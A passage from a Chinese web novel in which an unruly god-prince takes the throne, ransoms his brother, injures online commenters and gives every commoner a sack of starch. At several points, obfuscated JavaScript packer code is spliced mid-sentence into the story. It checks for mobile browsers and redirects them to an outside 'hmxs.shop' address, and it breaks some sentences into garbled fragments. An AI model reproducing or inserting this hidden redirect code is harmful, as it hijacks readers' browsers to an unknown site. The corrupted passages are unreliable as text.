五皇子大概是所有皇子中最不可能掺和到夺嫡之争中的人了。 五皇子不仅年幼,而且有一点痴愚,长这么大还没说过什么话。 谢珖也一直看不上自己这个最小的儿子。 他在谢吾德之后他没有生过任何一个孩子,就连女儿都生不出来了,五皇子算是证明他男人的能力没问题,但是生出这样一个傻孩子,他也觉得自己脸上无光。 所以五皇子在宫中基本就像是透明人一样,没权没钱没势,过得还不怎么样。 如果没有谢吾德的话,他就完蛋了。 五皇子能过上现在的生活还得感谢他这个四哥大发慈悲,把他身边伺候他的太监给教训了一顿。 谢吾德在很多事情上都不太做人,但是偶尔还是粗通人性的。 谢吾德觉得五皇子不是真傻,他应该是有自闭症,虽然自闭症伴随有智商问题的概率不小,但是五皇子其实是那种刻板印象中的在某一方面有突出才能的自闭症孩子。 他画画很厉害。 可能这也有遗传因素吧。 因为本身是以宋朝为模板的,就连雪乡二圣相似剧情都堂堂登场,既然如此,技能也得复刻一波。 只不过在这个世界不对外进攻的主要原因不是儒家,而是军火供应商墨家兼爱非攻的理念堂堂登场。 ……至少表面的原因是这样的。 最后导向的结果是似是而非的,其实根本原因也没差太多。 “就养着他吧。”谢吾德从来就不欺负这种真正的纯粹的弱者,“朕不差他一口饭。” 谢吾德终于说出了能够让翊善欣慰整整一个月的话。 这才是人话呀! 这个世界没有魏晋,所以暂时没有傻子当皇帝的先例,没有人会把一个傻子看成对皇位的威胁。 把五皇子留下来对任何一个皇帝来说都是正确的选择,但是谢吾德一直都不是很正常,所以即使一件不值得别人特别去表扬的事情,也会让人感到欣慰。 这就是把人的下限拉得足够低的好处。 “陛下着实仁慈,那陛下打算何时筹备一下自己的登基大典呢?绣娘已经准备好了,只需要量一下陛下您的身材。”余文彦说起了另外一件事情。 李真只觉得可惜,觉得自己错过了这个机会,只不过他昨晚在抄周元的家,没想到这件事情。 余文彦在干什么,和他们太监抢活吗? 余文彦知道这件事情其实是昨天少府监的人来找他,现在谢吾德只重用他,谢吾德又懒得去理会龙袍这种小事,李真之前也没什么地位,只是被谢吾德临时交付了任务,有什么大事自然会优先去找余文彦。 余文彦的能力的确很不错,能在一群世家子弟中卷出来,不完全是因为二皇子想要提拔寒门子弟的想法,能够精准找到能够帮助他的人,大典上下,在二皇子面前展示自己的才能,而且他自己还没有多少背景,这难度不亚于年轻人在大萧条时期成功在大公司找到工作。 干什么都能成的。 他能够把上上下下都打点好,这让谢吾德省了很多事情。 谢吾德刚准备表扬他,他却忽然注意到了余文彦的目光,这个人现在正在看他现在穿着的衣服,谢吾德扯了一把自己的衣袖,不满地瞪了他一眼:“怎么?你有什么意见吗?” 余文彦用有点挑剔的眼光看着谢吾德身上这件蓝色的衣服。 作为一个跟着二皇子吃过见过的人,以他的眼光来看,谢吾德这身衣服的材质布料非常好,但是剪裁就有点难以让人吹捧了。 不能说不好,就是和顶尖扯不上关系。 “没有没有……就是好奇陛下平时的衣服都是谁做的。”余文彦不知道谢吾德为什么生气,难道这衣服是谢吾德的相好做的? 虽然谢吾德看上去不像是这种人,不然他找不到其他的理由。 “当然是我‘自己’做的。”谢吾德抱臂。 余文彦瞪大眼睛看着谢吾德。 不止余文彦,就连本来想要震惊谢吾德的林耀祖都反而被谢吾德震惊到了。 谢吾德做衣服? 这个时代的男人哪有几个会做女红的? 谢吾德居然还有这样的技能? 他们只要想着谢吾德捏着针缝衣服,就觉得自己的眼睛被辣到了。 谢吾德的长相和粗犷扯不上关系,但是违和就是违和。 关于这个技能,谢吾德只会一点,给他的娃娃做衣服,但是本体有给人类做衣服的经验。 本体其实算不上特别忙,虽然他的工作很多,但是他也是经常摸鱼,他没有他嘴巴上说着的那么忙,就看他偶尔还能蹦出来对谢吾德点评两句就知道他忙在绝大多数时候都是托词。 谢吾德身上所有的衣服的确都是自己的本体做的,算不上特别精致。 主要本体的脾气也不是特别好,淡然冷静纯属后天的,他的脾气也很急,他做个大概就行了,哪能比得上绣娘精心缝制的? 不过谢吾德选择自己做的衣服主要还是觉得只有自己才最懂自己的品味。 他总觉得这个时代的审美和他还有点区别。 谢吾德现在和自己的本体十分处不来,但是他们毕竟是一个人。 在听到有人面对本体制作的衣服的差评之后,他就不太高兴了。 瞧不起谁呢! 在场的几个人只觉得他们的三观需要一次彻彻底底的治愈。 余文彦咽了一口水,他摸着自己的胸口,然后问:“那陛下还需要绣娘缝制衣服吗?” “大概需要吧。”谢吾德觉得这活本体是干不来,上面的刺绣和花纹虽然可以用机器做,但是总感觉差点什么。 “陛下您大概什么时候有时间,而且陛下也该想一想,登基的诏书上写什么,陛下有什么想要施展的抱负?” 一般来说在篡位之前大家都会把龙袍给准备好,这算是篡位的基本流程了。 最浪费时间的大概是“三辞三让”这个步骤,但是谢吾德这个人依旧不走寻常路——这个皇位他是直接从太上皇谢珖那里薅过来的。 别说是三辞三让了,甚至谢吾德都没有派人——且拒绝派人去将这件事情告知天地、宗庙和社稷。 谢吾德当皇帝,那就是皇帝原本的意思。 他是这个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢吾德心说他在生理层面除了洁癖之类的强迫症是没太大毛病的。 再说了,精神病本身就是人类社会定义的东西,拿人类的东西来定义他这个神? 【荣武宗本人一直都很疯,说他有什么毛病我都不奇怪。】 相比起这些弹幕,谢吾德注意到的是提到的反差。 谢吾德的性格是稳定地癫,如果说他行为前后有巨大反差,那基本上就是本体亚夏代打。 林耀祖这些穿越者来自的并不是这个世界的真正未来,也不是什么平行世界,而是基于这个世界和人工智能对谢吾德的行为记录推测出的未来进行创造的。 人工智能掌握的最完整的人格数据就是来自本体和谢吾德的,他们说亚夏可能会做什么,那这事十有八九就真的会这么做。 【我听说有人格分裂的人往往童年被猥.亵了,谢吾德幼年时不受宠,他本事再大也架不住宫里很多人都可能是变态的。】 林耀祖看到了,她露出了很难绷的表情。 谢吾德:“……” 他……这是被造了黄谣吗? 谢吾德防着这一手,所以没搞什么朱元璋开局一个碗,结果还是没躲得过沟子文学的解构。 谢吾德死死地盯着那条弹幕以及其他一切表示认同和支持的弹幕。 而弹幕另一头,正在手机前发了一条“科普向”弹幕、看着这万年罕见的穿越直播的赵博凡本来打算抻一个懒腰,结果刚抻到一半,他忽然感觉有阴影笼罩了他的脸。 他身后的巨大铁书柜倒了下来,把赵博凡连带着椅子和他本人一起拍在了地上。 十秒钟之后,他的舍友发出了尖锐爆鸣,然后打了急救电话。 31.第 31 章 谢吾德确定每一个人都被送进医院了才停手。 他真是仁慈,只是弄进急救室,不是真的把人弄死。 如果他是主播,他都要喊一句“请把陛下仁德打在公屏上”。 林耀祖不知道自己观众身上发生的事情,只是疑惑刚刚为什么那么多弹幕的内容是几乎无意义的话,就跟被人顺着网线找上来被摁在键盘上摩擦了一样。 不过现在她所经历的一切本身就是超现实的,是不科学的,谁知道会出现什么问题呢? 所以她只是稍微有点奇怪,但是并没有多想。 “我身边没史官吧?”谢吾德还是打算把林耀祖留在身边,“你以后就是我的史官了。” 有些人逼逼赖赖是不会因为谢吾德把人调开而转移的,他得把林耀祖放在身边,看看有没有人爆出什么经典发言。 不过本体亚夏没吭声,估计也不知道大数据分析计算推演出了个什么样的世界,即使作为创世神,他也不是全知全能的。 “诶,我吗?”林耀祖茫然地指着自己。 谢吾德没回应,他连从气管里发出一个音都欠奉。 谢吾德心说这人一天到晚直播,估计还有一堆人整切片,看似是雇了一个人,实际上是白嫖了一堆劳动力。 “陛下?”余文彦之前说着觉得谢吾德做什么事情他都不会感到奇怪了,但现在他还是惊了一下。 一群男人干活,来个女人算什么? 谢吾德只是宣布了一下这件事情就匆匆忙忙地走了。 别的事情他可以直接敷衍过去,但是对于登基典礼这种新奇的事情来说,他还是想要做得稍微好一点的。 谢吾德这辈子参加过作为被供奉的神明参加的祭祀典礼,但是还没有参加过皇帝的登基典礼。 既然要体验就体验到底,他可以有别的自己顶锅。 他得把忽悠本体这件事情提上日程。 本体虽然平时算不上忙,但谢吾德了解自己,他不喜欢被人打乱计划,所以如果不提前说的话,面对着不太喜欢的谢吾德,亚夏有很大的概率会找借口拒绝掉这件事情。 至于为其他男人答疑解惑这事,他完全不感兴趣。 他对林耀祖和尔雅可能遭遇的事情也没有想法,真抗不住或者影响状态了,正好给他借口再揍人。 余文彦和林耀祖面面相觑。 余文彦忍不住问:“你作为史官不跟上去吗?” 林耀祖反问:“要跟上去吗?” “不跟上去怎么记录他的言行举止?” “会挨打吗?”林耀祖一句话问道了事情的核心。 余文彦:“……” 翊善作为一个比余文彦还要坚定的封建主义战士,但是此刻却给出了中肯的评价:“别去,可能会挨打的,他男的女的都打,除非你身上脏得让他觉得用鞋底踩你都难以忍受。” 大家都说“好男不和女斗”,但是谢吾德是什么好男人吗? 尔雅看着翊善,有点好奇这个老古董遭遇了什么? 邱潇也默默地点头。 . 三皇子被放出来的时候还很愤怒,他愤怒于谢吾德的态度。 他对把他扯出来的人说道:“谢吾德在哪?让他出来跟我说话!要杀要剐直接说!不要搞什么折磨!我好歹也是太祖的子孙,怎么能够被你如此侮辱呢?” 把他扯出来的太监看他这么愤怒,带着一点愉快地和他说:“陛下是想要把你放了。” 三皇子的动作僵住了。 他现在已经认识到了自己的处境。 一开始就被人抓住的皇子是没有机会了,更何况对手是谢吾德。 三皇子之前就被谢吾德殴打过很多次,谢吾德曾经扯着他的衣领把他在空中甩了七百二十度,谁都拦不住,三皇子在谢吾德面前都快习得性无助了。 在这次谢吾德瞬移回来篡位之后,三皇子彻底没有和谢吾德竞争的半点勇气了。 真是邪门他妈给邪门开门——邪门到家了。 三皇子在狱中思考了很久,反思过自己犯下的错误。 一开始是反思自己大哥下手的果断以及他自己的大意,在知道谢吾德出现之后,他得出了最后的结论:最后他觉得这些不是他的错误,至少不只是他的错误。 大家好不容易齐心协力,以巫蛊罪把谢吾德送到边疆——谢吾德觉得这罪名很帅,他们以为万事妥当了,谁能想到他们没有成功地把谢吾德赶远,反而是放松了他们自己的警惕。 他有错,但是大哥二哥也有错,就连父皇都有错。 只要一想到这个锅每个人都得背,那三皇子就觉得自己舒服很多了。 他原本已经做好了自己要死的准备,三皇子清楚自己这个四弟性格残暴,视人命如草芥。 别人只关注太上皇挨过他的打,实际上他们兄弟几个谁没有挨过谢吾德的打? ……除了五皇子那个都担心他流口水的傻孩子之外。 对于谢吾德来说,六亲不认不是一种诬蔑,而是一种纯粹的事实。 三皇子一直都感觉谢吾德从来没有正眼看过他的脸,如果有人跟他说,谢吾德不知道他的名字他都信。 对于不少常规的污名,谢吾德不在意,他甚至会对此沾沾自喜,就像他被安排的巫蛊的罪名一样。 如果要他抱怨谢吾德的话,他想说的话三天三夜都说不完。 但是在听到太监说的话之后,他立刻撤回了自己的大义凛然:“刚才是我说话太大声了。” 就像邱潇觉得在谢吾德上位之后,邱腾肯定会得到谢吾德的信任并且备受重用一样,三皇子也觉得谢吾德放他也算是情理之中的事情,谁会警惕墙角的一只蚂蚁?蚂蚁咬人虽然有点疼,但是他们反手就能把蚂蚁碾死,蚂蚁是跑不掉的? “那我这是可以走了吗?”三皇子都没有问谢吾德有没有可能让他回到自己的封地,他能活下来就行了,不能指望还能从谢吾德那里得到好处。 谢吾德绝对会毫不犹豫地一个扫堂腿给他扫地上,让他清醒一下脑子。 “不可以。”太监说道,“陛下说了,他要你交赎金,等着您交了赎金之后,陛下才能真正放您自由。” 余文彦和翊善个人是很想要帮谢吾德描补的,可是尔雅觉得如果改了词,被谢吾德知道了就不太好了,谢吾德好像更希望自己发的癫能原汁原味地传达下去,让每个人都感受一下来自他的精神污染。 三皇子的脸皮抽搐了一下。 这果然是谢吾德的不要脸的作风,这种话他是真的敢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648623|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来呀。 不过为了自己能够活命,有什么不可以答应下来的? 他忙不迭地说道:“这是自然,这是自然。” 现在形势比人强,他除了答应这个条件之外,还能做什么呢? 真的指望谢吾德看在他作为哥哥的份上大发慈悲吗? 这种事情是绝对不可能发生在谢吾德身上的 三皇子在这期间几乎没有想到自己手底下的宫女和太监。 现在这情况还能想什么?他自己能活着就已经很不错了,哪还能指望自己手底下的人对他尽忠呢。 搞不好都没几个人活着了。 三皇子和谢吾德在这个世界理论上应该算是兄弟,但是他们其实一点都不熟。三皇子不了解谢吾德的性格,所以他理所当然地推己及人,觉得谢吾德十有八九是要来一波大清洗了。 之前谢吾德在宫中过得也不怎么好…… 从某种程度上来说,谢吾德真算是一个小可怜。 在宫里不仅没吃的,还没穿的。 虽然大家都知道谢吾德的本事大了去了,就算不给他吃的、不给他穿的,他也能够自己搞来,甚至有的时候谢吾德对他们还是隐隐瞧不上的。 只是有些东西就是可以不要,但是不能没有。 能花钱保住自己的命就行了。 只是三皇子也有点迷茫。 如果不当皇帝的话,他接下来该做什么呢? 他们这些皇子从小到大的唯一目标好像就是冲着当皇帝去的,他和自己的兄弟拼得你死我活,要么当皇帝,要么死。 每个人都觉得自己会是最后的获胜者。 但是没有人考虑过不当皇帝还能当什么。 三皇子叹了口气。 他看着太监们像是超级一样地拿走他的东西,他完全不讲究地蹲在自己书房门口,夕阳的余晖打在他的脸上,他的影子打在墙壁上。 现在身为皇帝的谢吾德肯定不讲究这个,他也就不在意这个了。 三皇子……或者说不知道还能不能继续当赵王的谢敬明给自己倒了一杯酒。 他的妻子和孩子站在一边无措而茫然地看着他。 谢敬明的酒越喝越多,他的精神状态也越来越奇怪,最后竟然笑了起来,他看着自己的妻儿:“你们在担心什么?” 赵王妃有点害怕地护住了自己的孩子。 “放心,不可能让你们饿死的。” “殿下,何至于此……”赵王妃和谢敬明没有爱情,但是亲情也是有一点的。 更重要的是,赵王府的一切都维系在谢敬明一个人的身上,之前三皇子被抓,他们母子就被关起来了,几天都没吃上饭。 他们不一定同生,但是一定共死。 “我给陛下当狗好像也挺不错的。”谢敬明喃喃自语道。 他也知道谢吾德喜欢让人在他面前尊严沦丧到学狗叫。 他是完蛋了,但是如果舔到谢吾德高兴,说不定他的孩子会有机会。 赵王妃:“……” 赵王妃赶紧捂住自己儿子的耳朵,声音变得尖锐起来:“殿下,何至于此!” 但是她还是晚了一步,目光天真无邪的孩子扬起脸,看向了自己的母亲:“娘,当狗是有出路的吗?” 32.第 32 章 锦京附近的一个村庄。 像这种靠近锦京的地方都是相对富裕的,但是富裕的也有限,毕竟这里是一个封建社会,就连都城内也有大把的人被饿死,能够不被饿死而且还能有一个家已经算是过得很不错了。 他们这个村子里有不少人会去锦京卖东西,日子过得也算不错。 ……只要那些王公贵族不搞土地兼并。 不过这事谁说得准呢? 比起那种因为没钱去当兵、行乞的人来说,他们的日子已经算是理想的状态了。 村庄不少人都会偶尔跑去做一些小生意。 荣朝为什么能给萧国岁币?还不是因为荣国商业发达,在重农抑商方面没有那么严重。 有年轻人从锦京回来,看到家中一个血缘比较远的老人,和同伴打了一声招呼,他坐在老人身边说:“如今又变了天。” 这几天天气都算不错,哪里谈得上变天呢? 这里的变天自然是指的是皇位的更替。 对于他们这些没有出身的人来说,皇位的交替还真的是要了命的大事。 万一摊上了个横征暴敛的皇帝该怎么办? 即使这个世界是架空的,可是历史的悲剧总是相似地循环上演。 无论是菜人哀、三吏三别的种种故事总会在一个封建朝代重复上演。 普通人必须麻木下来,只要还不想死,他们还得继续干下去。 村中的老人看向了年轻人。 老人却并没有表现出什么情绪,他只是很平静地扭过头,继续忙着洗手上的衣服。 在南荣定都锦京之前的北荣,它可是在开封的。 那个时候,这个村庄的日子还没有这么好,他们的生意往往会做到开封甚至更北边去。 之后,萧军南下,战乱爆发,老人的儿子因为晚了一步,受不住一路上一些人的哀求,带着他们一起南下避难,最后没能够从北方跨过长江回到家中。 不是死于长江江水之中,亦不是死于残暴的萧军的手中。 他的儿子是死在试图兼爱非攻、修德化远朝廷的人的手中。 在长江之上被射杀。 南荣朝廷他们拒绝同北方而来的人,声称这其中有萧国的探子。 如果有人想要再跨过长江,格杀勿论。 长江是天险,但是再险也无法险过南荣朝廷。 老人当时站在长江之南,苦苦等着自己儿子回到他们当初离别的渡口。 他看不到自己的儿子是怎么死的。 他只知道,自己等了一天、等了两天,等得干粮都没了,等到听到南荣朝廷逼退一切横渡长江的人,然后听到世家的人在这之后带着金银珠宝渡过长江。 他的儿子只是无声无息地死掉了。 具体的事情还是有一些对朝廷德行有所了解的人往西行、从白国那边穿过回到南荣的人告诉老人的。 风可渡、雨可渡,子民万万不可渡吗?! 这让老人如何能够平复自己的心情? 他的儿媳没想得开,直接上吊了。 老人知道萧人残暴。 可是他有的时候真的渴望萧人能够攻破锦京,杀了皇帝一下,掳走世家的所有人,夺走他们的珍宝。 他不懂天下兴亡,也不懂民族尊严,没人教过他,可能他以前还有一点,但是最疼的莫过于来自身后的利刃。 现在和他说话的人是他的远房侄儿。 虽然说大家都没有太多余量,但是偶尔照顾一下老人和他聊聊天还是可以的。 “来,我帮你洗。”年轻人把老人手上的衣服拿走。 老人却把衣服重新夺了回去:“我还没老到一点都干不动的地步,倒是你,刚回来,还是坐着歇着吧。” 年轻人犟不过老人,无奈地笑了起来,只觉得老人虽然这些年性格变得古怪了很多,但是本质还是和以前一样善良。 “您看上去一点都不意外,是之前就看出了点什么吗?” “没有。”老人强忍着自己嗤笑的冲动,“但是这有什么区别呢?” 老人真是受够了朝廷的恶心。 他年轻的时候,皇帝强征暴敛,总是喜欢以各种名义让各地的百姓、各地的官吏为他献上各种奇珍异宝。 皇帝的一个轻飘飘的命令或者一个微不足道的小爱好就仿佛从云端掉下的石子一样,把下面待着的人砸得头破血流。 他父亲曾在年轻的时候服过徭役,帮着皇帝向洛阳送过一些东西,据说在路上被石头活活地砸死,同乡都没有把他埋在土里的机会。 他的母亲性格要强,把他带大了。 他曾经也觉得肯定是因为当时坐在那个位置上的是个十恶不赦的暴君。 结果北荣没了,皇帝换了,但是他的儿子依旧是因为朝廷而死。 不是一个皇帝,但是却是相似的悲剧。 哪怕带走的是他呢? 所谓皇帝,就是独夫民贼! 这是当时村中一个儒生在北荣的皇帝强征暴敛的时候大声喊出的话,结果那个儒生被官府拖走,流放了,老人再也没见过他。 他只是把这句话记在了心中。 苦难一直持续着。 老人甚至想,香火什么的根本不重要,他想在死前带走自己的孙儿。 孙儿如今也长成了一个青年,他有了喜欢的姑娘,老人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663692|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己的孙儿,只觉得恐惧从心底里如同野草一样疯狂地蔓延。 自己的孙儿的未来又会如何呢? 这世道,太绝望了。 年轻人吓了一大跳,他对老人说道:“您这话可千万别对其他人说,会惹来麻烦的。” 老人不说话。 他更过分的话还憋在心里呢。 年轻人叹了口气。 “不过我要说的不是这个。”年轻人又兴致勃勃地说道。 他跟老人说这么多话,也不是因为他们有血缘关系,全村的人大多都有血缘。 其实像他这种年轻人,就算无聊的时候去帮家里地里拔个草也好过跟一个老人说话。 他出现在这里主要还是因为自己小的时候老人对他还是很好的。 那个时候,老人家也算是有点余钱,偶尔在过年的时候还会给他一点糖吃。 虽然只有一点点,顶多是嘴巴甜上一瞬,但是那也成为了他童年最甜蜜的一点回忆。 “您知道是谁上位了吗?”年轻人坚持不懈地问这个老人。 老人也算是意识到了点什么。 难道是一个十分不可思议的答案? 总不可能是权臣上位吧? 老人试探性地问:“是五皇子?” 年轻人哽了一下。 好吧,这太不可思议了。 “是四皇子上位了。” 老人愣了一下:“四皇子?” 谢吾德绝对是最有话题度的一个答案。 老人忍不住蹙眉。 谢吾德绝对是一个暴君苗子,这样的人上位,是不是会在横征暴敛之外再加个穷兵黩武? 他不喜欢朝廷,因为朝廷说一套做一套,说得比做的好听,但是谢吾德是做的和说的都很离谱的言行一致。 ……这样的人,没问题吗? 老人又想把自己的孙儿一起带下去了。 不过转念一想,老人忽然想起了另外一件事。 这个世界上最没办法接受谢吾德的是他吗?不,分明是那群高高在上的大人物吧? 谢吾德对他们来说是一个最差的选择。 老人没听过“敌人反对的我就要支持”这种话,但是不能让敌人舒服也算是人类的共性了。 他不知道那群人推举皇帝究竟都是什么原则,毕竟他们又不是第一次说一套做一套了,但是他知道谢吾德是千古难遇的奇葩。 想想一个完全不忠不孝的人登上了皇位,那皇帝……不,太上皇还有好日子过吗? 在最开始再次遇到暴君茫然过后,老人的脑子里只有一个字。 乐。 这都是报应! 33.第 33 章 老人的孙儿回来的时候天已经黑了下来,他平日里会去附近的山林里采药,然后晾干卖给锦京的药店,他回来也没什么力气,几乎是倒头就睡,甚至连饭都累得没力气吃了。 这活说来也很苦,而且也很危险,但日子还算能过得下去。 老人年纪也大了,现在也吃不下太多的东西了,所以他也躺了下去,只是一时半会睡不着,总是忍不住琢磨一下今天听到的事情。 皇帝谁来当不是他们能决定的事情,他在想到这件事情的时候并没有感觉到欣慰,反而觉得更加睡不着。 人老觉浅,老人睡得没有自己的孙儿早,但是起得却是比他早,他翻个身,准备起床,忽然发现自己的床边有一个巨大的袋子。 他确定自己的睡前是没有这个袋子的。 他现在记性可能已经没那么好了,但是这并不妨碍他确定自己家里即使算不上家徒四壁,那也绝对不会有这么大的让他忽略的东西,而且他更不会把这种东西放在床上。 如果是一个现代人的话大概会觉得这架势像是圣诞礼物,但是不知道什么是圣诞老人,但是凭借朴实的观念——在我床头基本就是我的,这个东西出现在他家,基本就等同于是给他的。 于是他小心翼翼地打开袋子袋子,他怕里面有什么危险的东西。 他不是不知道这个世界上有一种东西叫礼物。 ,但是他们绝对不是收礼的那一方。 那些地主老爷们不把他们敲骨吸髓,刮掉他们身上最后一个铜板,都算是他们大发慈悲了,哪还能够轮得到他们得到一星半点的好处呢? 赈灾粮都不一定能到他们手上,哪里还能轮到他们占便宜。 自古以来都是有钱有地位的人才能收礼物,他们这种无钱无势的人只有送礼物的份。 他打开袋子看去,发现里面是满满一大袋如同面粉的东西。 老人开动脑筋,思考这可能是什么奇怪的东西。 这个世界如果有任何奇怪的东西,请不要怀疑,这种奇怪的源头十有八九都是谢吾德。 袋子里的粉末不是蛋白质而是淀粉。 在外太空建设中,用二氧化碳直接转化为碳水化合物算是基本操作。 就连二十一世纪初就有这种转化的技术,只不过在未来又突破了不少。 无论是依靠法术还是科学,都能轻松且大批量的制造出大量碳水化合物,整点二氧化碳和水就行,甚至有碳氢氧就可以了。 对于二十二世纪的人来说,单纯的碳水化合物没办法满足他们的需求,纯粹的淀粉没有蛋白质或者是什么其他的微量元素,如果不是做外太空开发的工作,生活在物资丰富时代的他们大概会随手丢了或者做成非牛顿流体玩。 不能跟他们提浪费粮食的话题,他们的食物实在是太丰富了,甚至因为最初的法网充能是通过进食的方式进行,无限进食吃到呕吐甚至是出现精神病的都大有人在。 可是对于古代普通的平民来说,他们基本上不会去考虑营养均衡的问题,他们只会考虑有没有的问题。 吃不饱是常态,但凡有一点能下肚的,就算是上天庇佑了。 至于营养均衡和口感问题,那就是之后要考虑的事情了。 谢吾德也没有慈悲到这么细心地替人考虑。 说到底他是神不是人,他从来不是为了实现一个人人平等的世界。 . 老人闻了闻淀粉的味道,就觉得这不像是什么毒药。 这白色的粉末没有明显的气味,但是直觉告诉他这似乎是能吃的,摸起来的感觉也是比较丝滑的。 他用手指小心地沾了一点放在自己的嘴巴里,抿着嘴唇细细地感受了一会,在唾液将淀粉转化为麦芽糖之后,他甚至感觉到了丝丝的甜味。 “这真的是食物……” 老人在惊喜之后便是惶恐。 是谁搞出来的这一袋东西?该不会是想要把什么栽赃给他什么吧? 他提起袋子,发现袋子下面似乎还压了一张纸。 这张纸洁白光滑。 对于现代人来说,这就是普普通通的A4纸,上面也是打印的字体。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667738|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >上面写着:“朕登基,但是大赦天下什么的就算了,就给你们每一个人一点吃的吧。” 落款是“谢吾德”。 就算不知道谢吾德是谁的人,只要看到“谢”和“朕”两个字,就知道这绝对是他们如今的皇帝。 老人愣住了。 他们家以前生活条件还算不错,所以他认识几个字,能够明白上面这直白到令人发指的字都是什么意思。 之前他脑子里想到的种种不妙的可能瞬间烟消云散。 皇帝对于他来说还是太过于高高在上了,这样的人怎么会挂着自己的名字亲自来害他?他甚至都怀疑有没有人有打着谢吾德的名号来害他的胆子。 当然,他出现了一个新的问题。 这实在不像是谢家的皇帝,该不会传言是真的吧? 就是那个——谢珖头顶上有一顶超大的绿帽子。 . 亚夏说,谢吾德这不过是邀买人心的一种方法,他没有政治手腕,没有战略眼光,也没有安定民心的能力,纯粹“花钱”买支持率。 很有自知之明。 知道自己没有那些明君的能力,就搞点实际的。 谢吾德觉得他就是扯淡。 明君有他牛逼吗? 唐太宗能给自己子民每人发十公斤淀粉吗? 什么秦皇汉武唐宗宋祖,那都比不上他牛逼。 别提封建主义的统治者了,就算是竞选上来的人也都是画大饼,把钱花在宣传上也不算是直接发到每个人手上。 在这个农业时代,食物就是硬通货。 而且大户人家看不上这些东西,只有这种小民受益最大,而且直接发到人的床头,也杜绝了层层盘剥。 自古以来有几个皇帝不拉拢世家,直接拉拢百姓呢? 拒绝二道贩子,直接对接底层客户。 他可真是天字第一号的仁君圣主啊。 对于谢吾德吹的牛皮,亚夏有一堆的反驳的话想要说,但是被温特捂嘴了。 自己对自己的耿直有时候连自己都看不下去。 34.第 34 章 此时此刻愣住的人绝对不止老人一个。 有谁见过这种事情呢? 一般不都是皇帝登基要天下的人给他送礼物吗? 哪有反过来的呢? 皇帝做的一般都是大赦天下这种不花钱的东西。 一人一袋淀粉的操作可真是让人闻所未闻,甚至会让人觉得有点惊恐。 甚至被其他人知道了,会拼命地阻止谢吾德。 怎么可以这么做呢? 如何证明一个皇帝足够慈悲呢? 是看他亲耕礼,是他让皇后亲自织布,还是说嘴巴上说一千句一万句爱民如子呢? 说到底,这些都只不过是口号,甚至这些口号都未必能够被这群普通人听到。 皇帝是至高无上的统治者,但是太高了,他听不到普通人的声音,普通人也看不清他的真实面目。 谢吾德从来不喜欢说,他更喜欢做。 如何向其他人证明自己的伟大呢? 别的不用多说,直接一人来点吃的。 不够还有。 就是这么简单直接。 老人被谢吾德的仁慈狠狠地震惊到了,这对于他们的好处完全是摆在明面上的。 可是这对于整个统治阶级来说有什么好处吗? 法家政策最核心的一环,便是疲民、弱民——绝不能让普通人吃饱。 人一旦吃饱,便会生出许多不该有的念头。 他们会想,为何自己终日辛劳,却始终得不到世家那样的待遇? 只有让他们为了一口吃食奔波到精疲力尽,脑子里那点空闲才不会被用来琢磨复杂的问题。 上层需要的,是一群只为生存就已耗尽心力的百姓,而非一群吃饱了撑的、会思考各种问题的竞争者。 . 即便平民百姓懵懂,那些地主官吏却不可能毫无察觉。 他们发现这来历不明的食物的第一反应,便是想让这些人将东西上交。 但总会有人提出异议:“这明明是皇帝赐给我们的,凭什么收上去?” 不是所有人都识字,都能看懂谢吾德写的东西,但只要有一个识字的,消息便能口口相传,很快人尽皆知。 除了少数几个实在是胆大包天的家伙之外,其他的官吏还是被他们给恐吓住了。 他们只能面面相觑。 要与谢吾德对着干吗? 纵有万般不甘,看在谢吾德是皇帝的份上,谁也不敢明着说什么,只能在背地里骂骂咧咧。 不患寡而患不均,谢吾德这种连乞丐都发一袋淀粉,他们这些给朝廷做事的人一点都得不到的行为让他们真的有点心态失衡了。 可是不管他们怎么想, 原本很多人都不知道锦京的变故,现在谢吾德整了这么一出,这天下换了主人的消息便飞快地传遍了大江南北——包括萧国和白国。 . 萧国—— 发放淀粉之事亦发生在萧国与荣国交界之地,消息便也飞快地传入了萧国皇帝的耳中。 萧国皇帝闻讯,不禁嗤笑一声,端起手中酒杯浅酌一口,方道:“怎么?那荣国的新皇帝,没给留在我们萧国境内的这些荣人也发一点?” 立时便有萧国大臣凑趣道:“定是那荣国皇帝畏惧陛下天威,不敢在您眼皮底下装神弄鬼。” 荣国人在见到如此神迹之后立刻对谢吾德顶礼慕拜。 但是萧人的不信的。 要是荣国有这样的眷顾,又怎么会被他们掳走了皇帝? 萧国皇帝闻言哈哈大笑,这话正说在了他心坎上。 